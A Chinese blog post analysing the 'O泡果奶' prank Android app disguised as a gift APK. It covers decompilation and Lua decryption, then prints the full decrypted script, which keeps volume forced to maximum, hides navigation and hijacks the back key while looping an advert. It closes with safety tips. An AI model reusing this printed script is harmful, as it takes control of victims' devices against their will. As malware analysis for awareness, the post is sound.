网盾科技IT教育,只培训技术精英
全国免费咨询电话: 15827351614
“O泡果奶”事件分析

10月14日左右似乎全国高校课堂都出现了O泡果奶声音,这个魔性的文件名字是叫一份礼物.apk,但是只要发送给别人安装之后,打开就会立马大声播放o泡果奶的洗脑广告。

1.png

该事件在知乎热搜榜排到第10名。

 

安全分析

反编译

使用apktool box对软件进行反编译得到如下文件

2.png

3.png

源码解密

通过分析AndroidManifest.xml没发现什么恶意内容

4.png

 assets目录下存放了软件核心文件

 

5.png

打开main.lua文件时乱码,因为作者在开发时对lua进行加密,通过两次解密拿到源码。

6.png

第一次解密完还是乱码状态。

 

7.png

第二次使用 LuadcGUI进行解密

8.png

9.png

源码分析

 源码注释分析

 

require("import")

import("android.app.*")

import("android.os.*")

import("android.widget.*")

import("android.view.*")

import("android.view.View")

import("android.content.Context")

import("android.media.MediaPlayer")   //播放器

import("android.media.AudioManager") //音量控制模块

import("com.androlua.Ticker")        //定时触发

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

m = MediaPlayer()

m.reset()

m.setDataSource(activity.getLuaDir() .. "/mc.mp3")  //加载mc.mp3因为文件(O泡果奶音乐)

m.prepare()

m.start()

m.setLooping(true)

ti = Ticker()  

ti.Period = 10  //间隔10ms触发

function ti.onTick()

  activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

  activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

end

ti.start()

function onKeyDown(A0_0, A1_1)    //劫持按键

  if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then   //劫持返回按键

    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)    //声音调大最大

  end

  return true

end

通过以上分析可以看出软件安装打开后,只要程序不推出就会一直播放O泡因为,关机键失灵、减音量键也失灵。

 

安全小提示

1、不清楚来路的软件不要装

 

2、软件安装到正规软件商城安装

 

3、提醒大家保护个人信息,不点、不传播不知名链接。